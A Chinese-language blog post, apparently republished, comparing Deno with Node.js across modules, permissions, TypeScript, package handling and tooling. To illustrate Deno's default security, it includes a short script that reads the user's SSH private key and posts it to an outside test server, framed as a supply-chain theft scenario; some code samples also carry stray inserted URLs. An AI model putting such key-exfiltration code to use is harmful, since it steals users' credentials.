前言
Deno 已經正式發布了!
我說這句話時候,是不是很多前端 和 NodeJS 工(碼)程(農)師已經按不住自己的40米大刀了,心中的不僅感慨前端是真的會造輪子,有了 node 還不夠嗎,還沒學會 node 又搞了個 deno,node 和 deno 啥區別?!
的確,deno 和 node 形態很相似,要解決的問題似乎也相同,那他們到底有啥區別,這一切究竟是道德的淪喪還是 ry 的扭曲,讓我們走進本篇文章,一探究竟,
一定要看到最后哦,最后有驚喜哦!
Deno VS Node
| Node | Deno | |
|---|---|---|
| API 參考方式 | 模塊匯入 | 全域物件 |
| 模塊系統 | CommonJS & 新版 node 實驗性 ES Module | ES Module 瀏覽器實作 |
| 安全 | 無安全限制 | 默認安全 |
| Typescript | 第三方,如通過 ts-node 支持 | 原生支持 |
| 包管理 | npm + node_modules | 原生支持 |
| 異步操作 | 回呼 | Promise |
| 包分發 | 中心化 npmjs.com | 去中心化 import url |
| 入口 | package.json 配置 | import url 直接引入 |
| 打包、測驗、格式化 | 第三方如 eslint、gulp、webpack、babel 等 | 原生支持 |
1.內置 API 參考方式不同
node 模塊匯入
node 內置 API 通過模塊匯入的方式參考,例如:
const fs = require("fs");
fs.readFileSync("./data.txt");
復制代碼
deno 全域物件
而 deno 則是一個全域物件 Deno 的屬性和方法:
Deno.readFileSync("./data.txt"); 復制代碼
具體 deno 有哪些方法,我們可以通過 repl 看一下:
deno # 或 deno repl
復制代碼
進入repl后,輸入Deno回車,我們可以看到:
{
Buffer: [Function: Buffer],
readAll: [AsyncFunction: readAll],
readAllSync: [Function: readAllSync],
writeAll: [AsyncFunction: writeAll],
writeAllSync: [Function: writeAllSync],
# .....
}
復制代碼
這種處理的方式好處是簡單、方便,壞處是沒有分類,想查找忘記的 API 比較困難,總體來說見仁見智,
2.模塊系統
我們再來看一下模塊系統,這也是 deno 和 node 差別最大的地方,同樣也是 deno 和 node 不兼容的地方,
node CommonJS 規范
我們都知道 node 采用的是 CommonJS 規范,而 deno 則是采用的 ES Module 的瀏覽器實作,那么我們首先來認識一下:
ES Module 的瀏覽器實作
具體關于 ES Module 想必大家都早已熟知,但其瀏覽器實作可能大家還不是很熟悉,所以我們先看一下其瀏覽器實作:
<body>
<!-- 注意這里一定要加上 type="module" -->
<script type="module">
// 從 URL 匯入
import Vue from "https://unpkg.com/[email protected]/dist/vue.esm.browser.js";
// 從相對路徑匯入
import * as utils from "./utils.js";
// 從絕對路徑匯入
import "/index.js";
// 不支持
import foo from "foo.js";
import bar from "bar/index.js";
import zoo from "./index"; // 沒有 .js 后綴
</script>
</body>
復制代碼
deno 的模塊規范
deno 完全遵循 es module 瀏覽器實作,所以 deno 也是如此:
// 支持 import * as fs from "https://deno.land/std/fs/mod.ts"; import { deepCopy } from "./deepCopy.js"; import foo from "/foo.ts"; // 不支持 import foo from "foo.ts"; import bar from "./bar"; // 必須指定擴展名 復制代碼
我們發現其和我們平常在 webpack 或者 ts 使用 es module 最大的不同:
-
可以通過 import url 直接參考線上資源;
-
資源不可省略擴展名和檔案名,
關于第 1 點,爭議非常大,有人很看好,覺得極大的擴展了 deno 庫的范圍;有人則不太看好,覺得國內網速的原因,并不實用,大家的看法如何,歡迎在評論區發表 ??
3.安全
如果模塊規范是 node 和 deno 最大的不同,那么對安全的處理,則是另外一個讓人摸不著頭腦的地方,
模擬盜號
在介紹之前我們先思考一下這個場景會不會出現:
我做了一個基于命令列的一鍵上網工具 breakwall,每月 1 個 G 免費流量,然后將壓縮后的 JS 代碼發布到 npm 上,然后后在各種渠道宣傳一波,
羊毛黨興高彩烈的 cnpm install -g breakwall,然后每次使用的時候,我偷偷的將諸位的 ssh 密鑰和各種能偷的檔案及圖片偷偷上傳到我的服務器,在設定期限到期后,洗掉電腦上資料,留下一句拿錢換資料,僅支持位元幣,
默認安全的 deno
如果你覺得以上情況有可能出現,則會覺得下面的功能很實用,我們先用 deno 執行以下代碼:
// index.js let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa"); rsa = new TextDecoder().decode(rsa); fetch("http://jsonplaceholder.typicode.com/posts/1", { method: "POST", body: JSON.stringify(rsa) }) .then((res) => res.json()) .then((res) => console.log("密鑰發送成功,嘿嘿嘿??")); console.log("start breakwall..."); 復制代碼 PS: --unstable 是由于 Deno.dir API 不穩定 > deno run --unstable index.js 復制代碼 我們將會得到如下報錯資訊: > deno run --unstable index.js error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag ... 復制代碼
意思就是權限例外,需要訪問環境變數,需要加上 --allow-env,我們加上這個引數再試一下,
> deno run --unstable --allow-env index.js error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag ... 復制代碼
如此反復,還需加上 --allow-read、--allow-net ,最終的結果是:
> deno run --unstable --allow-env --allow-read --allow-net index.js
start breakwall...
密鑰發送成功,嘿嘿嘿??
復制代碼
經過一番折騰,總算是發送成功了,要想盜取密鑰實屬不易,
白名單
那有人就說了,如果我的應用確實需要訪問網路和檔案,但是有不想讓它訪問 .ssh 檔案有沒有辦法?
當然有了,我們可以給 --allow-read 和 --allow-net 指定白名單,名單之外都不可訪問,例如:
> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com index.js start breakwall... error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11) at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10) at async fetch ($deno$/web/fetch.ts:591:27) 復制代碼
簡化引數
如果確認是沒問題,或者是自己開發軟體時,圖個方便,可以直接使用 -A 或 --allow-all 引數允許所有權限:
> deno -A --unstable index.js
start breakwall...
密鑰發送成功,嘿嘿嘿??
復制代碼
安全這方面見仁見智,有人覺得是多余,有人覺得很好用,極大的增強了安全性,如果你屬于覺得這個功能多余的,可以 deno run -A xxx 即可,
4.兼容瀏覽器 API
很多人不理解,為什么你一個服務端語言要兼容瀏覽器 API,以及怎么兼容,
為什么要兼容瀏覽器 API
關于為什么,我舉個栗子大家就明白了:在設計 node 之處,關于輸出函式本來叫 print 之類的,后來有人提議為什么不叫 console.log,ry 覺得挺不錯,于是就接納了意見,
但是,這個設計并不是刻意為之,而 deno 的設計則可以為之,通過與瀏覽器 API 保持一致,來減少大家的認知,
怎么兼容瀏覽器 API
概念上兼容
-
模塊系統,從上面介紹看出 deno 是完全遵循瀏覽器實作的;
-
默認安全,當然也不是自己創造的概念,w3c 早已做出瀏覽器權限的規定,我們在做小程式的時候尤為明顯,需要獲取各種權限;
-
對于異步操作回傳 Promise;
-
使用 ArrayBuffer 處理二進制;
-
等等...
存在 window 全域變數
console.log(window === this, window === self, window === globalThis); 復制代碼
實作了 WindowOrWorkerGlobalScope 的全部方法
具體方法串列,我們可以參考:lib.deno.shared_globals.d.ts 和 lib.deno.window.d.ts
// 請求方法 fetch("https://baidu.com"); // base64 轉化 let encodedData = https://www.cnblogs.com/coderhf/p/btoa("Hello, world"); // 編碼 let decodedData = https://www.cnblogs.com/coderhf/p/atob(encodedData); // 解碼 // 微任務 queueMicrotask(() => { console.log(123); }); // 等等... 復制代碼
大趨勢
總體而言,如果服務端和瀏覽器端存在相同概念,deno 就不會創造新的概念,這一點其實 node 也在做,新的 node 14.0 CHANGELOG 就也提及要實作 Universal JavaScript 和 Spec compliance and Web Compatibility的思想,所以這點大家應該都會接受吧,畢竟大勢所趨趨勢,
5.支持 Typescript
不管你喜歡與否,2020 年了,必須學習 TS 了(起碼在面試的時候是亮點),學完之后你才會明白王境澤定律真的無處不在,
// index.ts let str: string = "王境澤定律"; str = 132; 復制代碼 > deno run index.ts error TS2322: Type '123' is not assignable to type 'string'. ? file:///Users/zhangchaojie/Desktop/index.ts:2:1 2 str = 123 ~~~ 復制代碼
6.去 node_modules
deno 沒有 node_modules,那么它是怎么進行包管理的呢?我們先看下面的例子
// index.js import { white, bgRed } from "https://deno.land/std/fmt/colors.ts"; console.log(bgRed(white("hello world!"))); 復制代碼 > deno run index.js Download https://deno.land/std/fmt/colors.ts Compile https://deno.land/std/fmt/colors.ts hello world! 復制代碼
我們看到其有 Download 和 Compile 兩個步驟,我們會產生幾個疑問:
1、每次執行都要下載嗎?
解:我們只需要再執行一次就能明白,不需要每次下載,
> deno run index.js hello world! 復制代碼
2、Download 和 Compile 的檔案在哪里呢?
解:我們會發現,當前執行的目錄,并沒有 Download 和 Compile 檔案,那檔案放在哪里呢,我們首先來看一下 deno --help 命令:
> deno --help SUBCOMMANDS: # ... info Show info about cache or info related to source file # ... ENVIRONMENT VARIABLES: DENO_DIR Set deno's base directory (defaults to $HOME/.deno) 復制代碼
deno info 命令展示了依賴關系,類似 package.json,
> deno info index.js local: /Users/zhangchaojie/Desktop/index.js type: JavaScript deps: file:///Users/zhangchaojie/Desktop/index.js └── https://deno.land/std/fmt/colors.ts 復制代碼
DENO_DIR 則為實際的安裝和編譯目錄,相當于 node_modules,默認為 $HOME/.deno(命令提示是這樣的,但實際需要指定一下環境變數 export DENO_DIR=$HOME/.deno),我們看一下:
> tree $HOME/.deno
/Users/zhangchaojie/.deno
├── deps
│ └── https
│ └── deno.land
│ ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│ └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
└── https
└── deno.land
└── std
└── fmt
├── colors.ts.js
├── colors.ts.js.map
└── colors.ts.meta
8 directories, 5 files
復制代碼
3、沒網路了怎么辦?
我們有些場景是將本地寫好的代碼部署到沒有網路的服務器,那么當執行 deno run xxx 時,就是提示 error sending request,
解:將上面的快取目錄內容,直接拷貝到服務器并指定環境變數到其目錄即可,
4、依賴代碼更新了怎么辦?
解:當依賴模塊更新時,我們可以通過 --reload 進行更新快取,例如:
> deno run --reload index.js
復制代碼
我們還可以通過白名單的方式,只更新部分依賴,例如:
> deno run --reload=https://deno.land index.js 復制代碼
5、僅快取依賴,不執行代碼有辦法嗎?
解:有的,我們可以通過 deno cache index.js 進行依賴快取,
6、多版本怎么處理?
解:暫時沒有好的解決方案,只能通過 git tag 的方式區分版本,
7.標準模塊 與 node API 兼容
我們通過第 1 點可以看到,其實 deno 的 API 相對于 node 其實是少一些的,通過其檔案大小也能看出來:
> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x 1 42M /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x 1 70M /usr/local/bin/node
復制代碼
那這些少的 API 只能自己寫或者求助于社區嗎?
deno 對于自身相對于 node 少的和社區中常用的功能,提供了標準模塊,其特點是不依賴非標準模塊的內容,達到社區內的模塊參考最后都收斂于標準模塊的效果,例如:
// 類似 node 中 chalk 包 import { bgRed, white } from "https://deno.land/std/fmt/colors.ts"; // 類似 node 中的 uuid 包 import { v4 } from "https://deno.land/std/uuid/mod.ts"; 復制代碼 同時為了對 node 用戶友好,提供了 node API 的兼容 import * as path from "https://deno.land/std/node/path.ts"; import * as fs from "https://deno.land/std/node/fs.ts"; console.log(path.resolve('./', './test')) 復制代碼
所以,大家在為 deno 社區做貢獻的時候,首先要看一下標準模塊有沒有提供類似的功能,如果已經提供了可以進行參考,
8.異步操作
根據 ry 自己是說法,在設計 node 是有人提議 Promise 處理回呼,但是他沒聽,用他自己的話說就是愚蠢的拒絕了,
node 用回呼的方式處理異步操作、deno 則選擇用 Promise
// node 方式 const fs = require("fs"); fs.readFile("./data.txt", (err, data) => { if (err) throw err; console.log(data); }); 復制代碼
另外 deno 支持 top-level-await,所以以上讀取檔案的代碼可以為:
// deno 方式 const data = https://www.cnblogs.com/coderhf/p/await Deno.readFile("./data.txt"); console.log(data); 復制代碼
node 關于這方面也在一直改進,例如社區上很多 promisify 解決方案,通過包裹一層函式,實作目的,例如:
// node API promisify const { promisify } = require("es6-promisify"); const fs = require("fs"); // 沒有 top-level-await,只能包一層 async function main() { const readFile = promisify(fs.readFile); const data = await readFile("./data.txt"); console.log(data); } main(); 復制代碼
9.單檔案分發
我們知道 npm 包必須有 package.json 檔案,里面不僅需要指明 main 或 module 或 browser 等欄位來標明入口檔案,還需要指明 name 、license 、description 等欄位來說明這個包,
ry 覺得這些欄位擾亂了開發者的視聽,所以在 deno 中,其模塊不需要任何組態檔,直接是 import url 的形式,
10.去中心化倉庫
對于 www.npmjs.com 我們肯定都不陌生,它是推動 node 蓬勃發展的重要支點,但作者認為它是中心化倉庫,違背了互聯網去中心化原則,
所以 deno 并沒有一個像 npmjs.com 的倉庫,通過 import url 的方式將互聯網任何一處的代碼都可以參考,
PS:deno 其實是有個基于 GitHub 的第三方模塊集合,
11.去開發依賴
我們在寫一個 node 庫或者工具時,開發依賴是少不了的,例如 babel 做轉化和打包、jest 做測驗、prettier 做代碼格式化、eslint 做代碼格式校檢、gulp 或者 webpack 做構建等等,讓我們在開發前就搞得筋疲力盡,
deno 通過內置了一些工具,解決上述問題,
- deno bundle:打包命令,用來替換
babel、gulp一類工具: 例如:deno bundle ./mod.ts; - deno fmt:格式化命令,用來替換
prettier一類工具,例如:deno fmt ./mod.ts; - deno test:運行測驗代碼,用來替換
jest一類工具,例如deno test ./test.ts; - deno lint:代碼校檢(暫未實作),用來替換
eslint一類工具,例如:deno lint ./mod.ts,
后記
就像小時候一直幻想的炸彈始終沒能炸了學校,技(輪)術(子)的進(制)步(造)一直也未停止過,不論我們學的動或者學不動,技術就在那里,不以人的意志為轉移,
至于 deno 能不能火,我個人覺得起碼一兩年內不會有太大反響,之后和 node 的關系有可能像 Vue 和 react,有人喜歡用 deno,覺得比 node 好一萬倍,有人則喜歡 node ,覺得 node 還能再戰 500 年,至于最終學不學還看自己,
在這里給大家附一個最新的學習路線圖和課程體系圖

“大清亡于閉關鎖國,學習技術需要交流和資料”,這是我的知乎專欄的一篇導航性文章,里面匯集了web前端技術干貨、各大名廠前端面試題系列、技術動向、職業生涯、行業熱點、職場趣事等一切有關于程式員的高質量文章和學習資料分享,高級前端工程師前端學習教程,從基礎到進階,看完保證讓你的薪資上升一個臺階,你也能成為阿里人(持續更新)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/87013.html
標籤:JavaScript
上一篇:highcharts.Js
